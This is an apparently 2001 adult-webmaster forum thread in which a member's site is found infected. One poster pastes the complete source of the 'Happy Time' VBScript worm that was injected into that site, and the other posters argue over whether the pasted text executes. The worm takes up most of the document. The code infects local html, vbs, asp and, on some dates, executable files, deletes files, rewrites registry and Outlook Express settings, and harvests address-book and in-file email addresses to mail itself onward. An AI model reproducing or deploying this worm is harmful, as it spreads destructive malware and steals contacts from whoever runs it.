Selling My Sites, and Their Traffic!

$105

I'll raise you with a buck...and a cookie!

You have a fricking virus on your site. Nimda even. Go get your admin to help you resolve the issue.

Hi,

Maybe you could post a few statistics?
At the very last, show us the amount of traffic each site is expected to receive.

------------------
TopBucks: $35-$40 per initial signup. $250 startup bonus!

There not worth the bandwidth you burned making this post.

http://www.alldayass.com

... what´s that fucking virus you are trying to install to my system ... is this another autobookmark/homepage/email adress grabber script on that site ??

... norton antivirus comes up with a virus warning !!!!

------------------
Don't innovate - imitate!

I have no idea what that virus is on ADA. Im on the phone right now with my server admin. That site gets 7-8k unique a day, and there is no way I would intentionally put a virus on my site. Will be dealt with shortly

Hey, you should lay off of KJ a little. He's a good guy, he busted his ass on his sites and I've known him since he started. He's not some smuck that's trying to make a fortune from his sites. Give the guy a chance.

why does the counter on alldayass.com show "-15"

http://www.symantec.com/avcenter/[email protected]

... this stuff is attached at the bottom of your html-code of http://www.alldayass.com ... will I get a license to use this virus when buying your sites ??

------------------
Don't innovate - imitate!

It appears his site has been hacked. I never allow Active X to run without my permission and there is some arbitrary code being run on his site. If you can view the source you will see this code on the end:

< script language='VBScript' >

Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVer b
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function


< /script >

Ha ha ha ha, that's too fuckin' funny !!!

Ha ha ha ha, that's too fuckin' funny !!!

Bigwebmaster, you are probably on of the smartest webmasters that have ever crossed my way ... what the fuck do you think happend when someone hits reply in this thread ??

THE FUCKING VIRUS GET EXECUTED AGAIN !!!

... go and edit that fucking post of you !!

------------------
Don't innovate - imitate!

I fixed the virus!

Hopefully I can find out what happened, and catch whoever did it.

I apologize to all of you nice guys for the inconvenience

what counter are you referring to 12clicks?

Funkmaster -

You aren't the brightest guy are you? That is just the source and it will not execute because i put intentional spaces in the script tags to prevent your browser from realizing it should be executed.

Please think before you speak, because you sounds like an uneducated fool sir.

... this is so fucking funny ... you´ve done it by yourself ... just by surfing the net ... and as long as Bigwebmaster doesn´t edit his post ... everybody using IE-EXPLORER will get it too just by replying to this threat ...
http://www.symantec.com/avcenter/[email protected]

gentleman, clean your harddisks ...

------------------
Don't innovate - imitate!

Bah....great idea to post the virus code

You didn't get hacked; your host hasn't a clue about running an IIS server apparently.

------------------
Make BANK with these Babes!
The Webmaster's Folder
The Midnight TGP2 Submitter

Also if it were executing, I don't think you would see it there now would you. I made it print to the screen instead of execute.

Bigwebmaster, I confess, I am not the brightest !!

But will you please edit your post now, at least remove the SCRIPT tag ... thank you !

------------------
Don't innovate - imitate!

And yeah, you guys are nuts...it's not going to execute from the board LOL

But I still wouldn't encourage you to post the source. Why give anyone any ideas?

------------------
Make BANK with these Babes!
The Webmaster's Folder
The Midnight TGP2 Submitter

wonder what it does? is it one of them auto bookmark scripts?

hehehe it might be a new kind of virus executed as simple text, it might even hurt you if you have it printed.

Can you not see the spaces in the script tag ? It is not a script tag with those a spaces in it. Your browser will not recognize it just as

<html> is not the same as
< html >

the second will not be recognized and I will suprised if you can even read the post right because the first one is tag and will probably be hidden

Um...yes you will get it from opening this post..i just did!! lol

------------------
The All NEW www.PythonVideo.com Portal Page
Python
Dollar Machine
Naughty Mail Pay by click
Awesome Content

See you can see from my last post that the tag that is really a tag didn't show up, and the ones with the spaces in did show up, because ITS NOT A TAG, just like in my post way up there.

I have a feeling your antivirus software just recognized the text. Nothing is being executed, so the warning comes up sir.

i better not have just got it! i just reformatted this thing yesterday and do not have virus software intsalled yet.

Whoops....too late

As we say in the software business: "You are hosed"

------------------
Make BANK with these Babes!
The Webmaster's Folder
The Midnight TGP2 Submitter

Don't be flamin' BigWebmaster, he's one of the smartest people that I know online. When was the last time that you wrote a full featured traffic trading script ??? he he he.

He has a big portfolio of all kinds of scripts from traffic trading, link checkers, mass mail scripts, Dictionary Attack Password Blocking, Search Engine Cloaking Script, Shopping Cart Script, Bandwidth Stealing Scripts, and much more !

I know that I'm not that smart, he he he.


[This message has been edited by Slick (edited 10-10-2001).]

Its just the source! You won't have it. Are you guys all that dependent on programs that write the code for you? Doesn't anybody actually write code to know how things work and when things will execute and when they will not execute? For example

< html >
< head >< title >Hello World< /title >
< /head>

< body >

Now if this were actual code, do you think it would show up like this? and wouldnt the following code make your text red ?

< font color="#ff0000" >Red text< /font >

It doesn't because this is just the source!

< /body >
< /html >

And the reason my last post shows up like that is because all those tags aren't really tags, they all have added spaces to it so browswer will not execute them. Have I made my point yet. You guys are really dumb, or really stubborn to admit you were wrong.

[This message has been edited by Bigwebmaster (edited 10-10-2001).]

... put your code into an IFRAME and look if it gets executed ... ubb shows a "TOPIC REVIEW" within an IFRAME when hitting reply ... believe it or not.

you´ve made your point, now edit your post ... thanks !

------------------
Don't innovate - imitate!

It won't get executed in an iframe! Yup I have made my point, and there is no reason to change my post, because it is doing no harm. Thank you very much. Take care, and I still believe in you. I know you are smarter than this

I sit corrected.



------------------
The All NEW www.PythonVideo.com Portal Page
Python
Dollar Machine
Naughty Mail Pay by click
Awesome Content

someone on this board isn't very bright, and it's not bigwebmaster.

as a programmer, i say that it does not get executed
the virus program doesnt alert after the program runs, otherwise it would not be protecting your computer. it alerts right when it sees the code, which doesnt even get executed in this case.

I'll have to jump in here too, and say this - it isn't getting executed in the main window, and it doesn't get executed in an IFRAME - your virus checker is popping because it sees the text, and is not smart enough to parse html to figure out whether it's actually being executed or not.

Cheers,
Backov


------------------
AVSBlitz - Build AVS Sites Faster and Better

I don't believe the script is executing - I would agree the AV program is finding a match.

[B}But[/B] I am curious why I can load this thread with no warnings, yet if I reply to that particular post I get a warning. After all, it's the same text in both that should be causing the AV 'hit'. Somethings different between them.

Either way, it's pretty stupid to post the virus source on this board. At a minimum, could cause some folks a lot of anxiety even if the hit is articifical. The post should be edited.

I am glad to see that there are some educated people in this forum now. That makes perfect sense as well that an antivirus software program would alert you of a potential virus before its even run which would explain why some people get the warning, even though no code would actually be run. If an antivirus software program let it run first, what would be the point ? It must stop it before it runs, even if it wasn't going to actually run in the first place like in this forum.

Tuck,

Thats an interesting fact, maybe view the source of the forum, then when you reply to the post view the source of that to see if the forum's program changed any lines of the virus code.

Or maybe you could just edit your post.

Whether it's active or not it's lame to post code for a virus.

... bwm, sorry for bashing you yesterday, you are absolutly right, it can´t get installed through this thread, it was just my norton antivirus that gave me the shits ...

------------------
Don't innovate - imitate!

No problem funkmaster, we all need a bashing every now and then

it's not lame to post a virus code,indeed, it's very useful
i just mailed it to Gary

I'm running Norton with up to date virus protection and it doesn't pop an alert.

there's no possible way it can be executed, the antivirus finds it when your browser makes a cache copy of the gfy board on your hd, the antivirus just compares its database with the text string on the cached file. for example you can even paste the code into a jpg file with a text editor and it will be detected, but it won't be executed if you open the jpg in your browser or photoshop.
btw, don't be afraid of having that source up there, you can click here http://www.google.com/search?q=virus+source+code and choose whatever you like, have fun!